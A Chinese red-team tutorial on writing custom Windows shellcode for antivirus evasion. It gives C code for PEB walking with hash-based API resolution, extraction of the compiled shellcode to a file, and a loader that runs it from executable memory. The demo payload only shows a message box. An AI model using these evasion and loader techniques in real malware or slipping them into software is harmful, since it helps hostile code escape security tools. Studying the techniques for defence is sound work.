免杀基础–windows shellcode编写入门

0x00 介绍

在计算机安全中,shellcode是一小段代码,可以用于软件漏洞利用的载荷。被称为"shellcode"是因为它通常启动一个命令终端,攻击者可以通过这个终端控制受害的计算机,但是所有执行类似任务的代码片段都可以称作shellcode。……Shellcode通常是以机器码形式编写的。            -----维基百科

作为一名红队人员,最常接触的shellcode生成器可能是CobalStrike或者msfvenom。其中msfvenom可以生成很多种shellcode,可有时我们想为了实现自定义功能的shellcode或者为了增强shellcode的免杀能力,需要编写自己的shellcode。

0x01 Shellcode特点

在编写自己的shellcode时,我们必须需要注意shellcode的一些限制:

  1. 不能使用字符串的直接偏移
  2. 不能确定函数的地址(如printf)

由于这些限制,导致我们写shellcode不可能像高级编程语言那样轻松直接的调用一个API、读写字符串。这里面关键是要解决API和数据地址问题。

0x02 编写shellcode

  1. 针对API地址,采取如下步骤:
     1)从PEB获取kernel32.dll 基地址;
     2)定位 GetProcAddress函数的地址;  
     3)使用GetProcAddress确定 LoadLibrary函数的地址;  
     4)然后使用 LoadLibrary加载DLL文件(例如user32.dll);  
     5)使用 GetProcAddress查找某个函数的地址(例如MessageBox);  
     6)指定函数参数;  
     7)调用函数。 
  2. 针对代码要使用的字符串,采取字符数组形式将数组保存在栈中。

0x03 关键代码

获取API函数地址的函数(兼容x86和x64):

//************************************************************
// 函数名称: GetProcAddressWithHash
// 函数说明: 通过哈希获取函数地址
// 参    数: dwModuleFunctionHash 函数加模块的哈希值
// 返 回 值: HMODULE 函数地址
//************************************************************
HMODULE GetProcAddressWithHash(DWORD dwModuleFunctionHash)
{
    PPEB PebAddress;
    PMY_PEB_LDR_DATA pLdr;
    PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
    PVOID pModuleBase;
    PIMAGE_NT_HEADERS pNTHeader;
    DWORD dwExportDirRVA;
    PIMAGE_EXPORT_DIRECTORY pExportDir;
    PLIST_ENTRY pNextModule;
    DWORD dwNumFunctions;
    USHORT usOrdinalTableIndex;
    PDWORD pdwFunctionNameBase;
    PCSTR pFunctionName;
    UNICODE_STRING BaseDllName;
    DWORD dwModuleHash;
    DWORD dwFunctionHash;
    PCSTR pTempChar;
    DWORD i;

#if defined(_WIN64)
    PebAddress = (PPEB)__readgsqword(0x60);
#elif defined(_M_ARM)
    PebAddress = (PPEB)((ULONG_PTR)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);
    __emit(0x00006B1B);
#else
    PebAddress = (PPEB)__readfsdword(0x30);
#endif

    pLdr = (PMY_PEB_LDR_DATA)PebAddress->Ldr;
    pNextModule = pLdr->InLoadOrderModuleList.Flink;
    pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pNextModule;

    while (pDataTableEntry->DllBase != NULL)
    {
        dwModuleHash = 0;
        pModuleBase = pDataTableEntry->DllBase;
        BaseDllName = pDataTableEntry->BaseDllName;
        pNTHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase + ((PIMAGE_DOS_HEADER)pModuleBase)->e_lfanew);
        dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;

        //获取下一个模块地址
        pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY)pDataTableEntry->InLoadOrderLinks.Flink;

        // 如果当前模块不导出任何函数,则转到下一个模块 加载模块入口
        if (dwExportDirRVA == 0)
        {
            continue;
        }

        //计算模块哈希值
        for (i = 0; i < BaseDllName.MaximumLength; i++)
        {
            pTempChar = ((PCSTR)BaseDllName.Buffer + i);

            dwModuleHash = ROTR32(dwModuleHash, 13);

            if (*pTempChar >= 0x61)
            {
                dwModuleHash += *pTempChar - 0x20;
            }
            else
            {
                dwModuleHash += *pTempChar;
            }
        }

        pExportDir = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)pModuleBase + dwExportDirRVA);

        dwNumFunctions = pExportDir->NumberOfNames;
        pdwFunctionNameBase = (PDWORD)((PCHAR)pModuleBase + pExportDir->AddressOfNames);



        for (i = 0; i < dwNumFunctions; i++)
        {
            dwFunctionHash = 0;
            pFunctionName = (PCSTR)(*pdwFunctionNameBase + (ULONG_PTR)pModuleBase);
            pdwFunctionNameBase++;

            pTempChar = pFunctionName;

            //计算函数名hash
            do
            {
                dwFunctionHash = ROTR32(dwFunctionHash, 13);
                dwFunctionHash += *pTempChar;
                pTempChar++;
            } while (*(pTempChar - 1) != 0);

            //与模块hash相加
            dwFunctionHash += dwModuleHash;

            if (dwFunctionHash == dwModuleFunctionHash)
            {
                usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
                return (HMODULE)((ULONG_PTR)pModuleBase + *(PDWORD)(((ULONG_PTR)pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
            }
        }
    }

    return NULL;
}

使用GetProcAddressWithHash函数,获取所有要使用的API函数地址(以MessageBoxA为例)

//************************************************************
// 函数名称: Initfunctions
// 函数说明: 动态获取所有的函数地址
// 参     数: Pfunctions pfn  保存有所有API函数地址的结构体
// 返 回 值: void
//************************************************************

void Initfunctions(Pfunctions pfn)
{
    //获取LoadLibraryA函数地址
    pfn->fnLoadLibraryA = (pfnLoadLibraryA)GetProcAddressWithHash(HASH_LoadLibraryA);
    //将user32.dll加载到当前进程中,此处就是对字符串的处理:字符串数组形式
    char szUser32[] = { 'u', 's', 'e', 'r', '3', '2', '.', 'd', 'l', 'l', 0 };
    pfn->fnLoadLibraryA(szUser32);
    //获取MessageBoxA函数地址
    pfn->fnMessageBoxA = (pfnMessageBoxA)GetProcAddressWithHash(HASH_MessageBoxA);
}

真正的shellcode功能代码

Functions fn;
//动态获取所有需要的函数指针
Initfunctions(&fn);
//调用MessageBox
char szText[] = { 'H', 'e', 'l', 'l', 'o', ' ', 'B', 'a', 'd', ' ', 'B', 'o', 'y', 0 };
char szCaption[] = { 'N', 'o', 't','e', 0 };
fn.fnMessageBoxA(NULL, szText, szCaption, MB_OK);

生成shellcode 数据文件代码

void CreateShellCode()
{
    HANDLE hFile = CreateFileA("ShellCode.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, 0, NULL);
    if (hFile==INVALID_HANDLE_VALUE)
    {
        MessageBoxA(NULL, "CreateFileA Error", "Error", MB_ERR_INVALID_CHARS);
        return;
    }
    DWORD dwSize = (DWORD)ShellCodeEnd - (DWORD)ShellCodeStart;
    DWORD dwWrite = 0;;
    WriteFile(hFile, ShellCodeStart, dwSize, &dwWrite,NULL);
    CloseHandle(hFile);
}

通过以上代码,生成的shellcode.bin就是最终的需要的shellcode。

编译选项(VS2013+):如果生成的shellcode验证不通过,关闭VS编译优化。

验证shellcode

typedef VOID(*PCALLL)();

int main(int argc, char* argv[])
{
    //打开要执行的ShellCode文件
    HANDLE hFile = CreateFileA("ShellCode.bin", GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("CreateFile Error");
        return -1;
    }

    DWORD dwSize = 0;
    //获取ShellCode的总大小
    dwSize = GetFileSize(hFile, NULL);

    //申请一块可读可写可执行的内存
    LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpAddress == NULL)
    {
        printf("VirtualAlloc Error");
        CloseHandle(hFile);
        return -1;
    }

    //将文件读取到申请的内存中
    DWORD dwRead = 0;
    ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);

    //执行ShellCode for x86
    //__asm
    //{
    //    call lpAddress;
    //}

    //执行ShellCode
    PCALLL p = (PCALLL)lpAddress;

    p();

    return 0;
} 

演示:

参考:

https://github.com/TonyChen56/ShellCodeFrame